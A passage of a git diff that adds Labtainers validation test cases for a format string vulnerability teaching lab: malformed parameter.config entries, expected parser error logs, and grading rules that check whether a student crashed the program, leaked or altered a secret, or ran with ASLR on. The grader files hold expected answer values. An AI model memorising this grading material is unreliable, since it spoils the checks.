a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/parameter.config new file mode 100644 index 000000000..a1b78363d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +#SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 100 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00004/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/about.txt new file mode 100644 index 000000000..0e4013360 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/about.txt @@ -0,0 +1 @@ +Check parameter.config - RAND_REPLACE lower bound uses integer, upper bound uses hexadecimal diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/expected.log new file mode 100644 index 000000000..2b996ba03 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/expected.log @@ -0,0 +1 @@ +[2017-10-27 13:37:08,182 - ERROR : ParameterParser.py:99 - CheckRandReplac() ] RAND_REPLACE (/home/ubuntu/vul_prog.c : SECRET2_VALUE : 100 : 0x5a) inconsistent lowerbound/upperbound format diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/parameter.config new file mode 100644 index 000000000..8e2521fde --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +#SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 100 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00005/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/about.txt new file mode 100644 index 000000000..1fba43da1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/about.txt @@ -0,0 +1 @@ +Check parameter.config - RAND_REPLACE lower bound greater than upper bound diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/expected.log new file mode 100644 index 000000000..4ba1a283d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/expected.log @@ -0,0 +1 @@ +[2017-10-27 13:39:21,182 - ERROR : ParameterParser.py:115 - CheckRandReplac() ] RAND_REPLACE (/home/ubuntu/vul_prog.c : SECRET2_VALUE : 100 : 99) lowerbound greater than upperbound diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/parameter.config new file mode 100644 index 000000000..23327e14a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +#SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 100 : 99 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00006/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/about.txt new file mode 100644 index 000000000..1fba43da1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/about.txt @@ -0,0 +1 @@ +Check parameter.config - RAND_REPLACE lower bound greater than upper bound diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/expected.log new file mode 100644 index 000000000..44417a32e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/expected.log @@ -0,0 +1 @@ +[2017-10-27 13:40:33,695 - ERROR : ParameterParser.py:115 - CheckRandReplac() ] RAND_REPLACE (/home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x5a : 0x41) lowerbound greater than upperbound diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/parameter.config new file mode 100644 index 000000000..bd408978e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +#SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x5a : 0x41 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00007/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/about.txt new file mode 100644 index 000000000..ac08843a2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/about.txt @@ -0,0 +1 @@ +Check parameter.config - HASH_CREATE improper format -- too many diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/expected.log new file mode 100644 index 000000000..7fe338901 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/expected.log @@ -0,0 +1 @@ +[2017-10-27 13:53:09,508 - ERROR : ParameterParser.py:162 - CheckHashCreate() ] HASH_CREATE : : [: length] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/parameter.config new file mode 100644 index 000000000..72ac30e4a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/parameter.config @@ -0,0 +1,9 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE : /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + +MYSECRET : HASH_CREATE : /home/ubuntu/testhash : tempstring : 50 : toomany + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00008/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/about.txt new file mode 100644 index 000000000..2248513dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/about.txt @@ -0,0 +1 @@ +Check parameter.config - HASH_CREATE improper format -- too few diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/expected.log new file mode 100644 index 000000000..f7b77aef5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/expected.log @@ -0,0 +1 @@ +[2017-10-27 13:55:08,502 - ERROR : ParameterParser.py:162 - CheckHashCreate() ] HASH_CREATE : : [: length] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/parameter.config new file mode 100644 index 000000000..2b0ff9c4b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/parameter.config @@ -0,0 +1,9 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE : /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + +MYSECRET : HASH_CREATE : too few + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00009/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/about.txt new file mode 100644 index 000000000..bb928d9bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/about.txt @@ -0,0 +1 @@ +Check parameter.config - HASH_CREATE improper format - expected integer to specify length diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/expected.log new file mode 100644 index 000000000..bd02a8243 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/expected.log @@ -0,0 +1 @@ +[2017-10-27 13:57:56,999 - ERROR : ParameterParser.py:172 - CheckHashCreate() ] expected int for length, got what diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/parameter.config new file mode 100644 index 000000000..e87a18c35 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/parameter.config @@ -0,0 +1,9 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE : /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + +MYSECRET : HASH_CREATE : /home/ubuntu/testhash.out : mystring : what + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00010/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/about.txt new file mode 100644 index 000000000..2ac30425e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/about.txt @@ -0,0 +1 @@ +Check parameter.config - HASH_REPLACE improper format - too many diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/expected.log new file mode 100644 index 000000000..f54475747 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/expected.log @@ -0,0 +1 @@ +[2017-10-27 14:56:44,983 - ERROR : ParameterParser.py:233 - CheckHashReplac() ] HASH_REPLACE (/home/ubuntu/vul_prog.c : SECRET2_VALUE : mystring : 50 : toomany) improper format diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/param_check_00011/labname 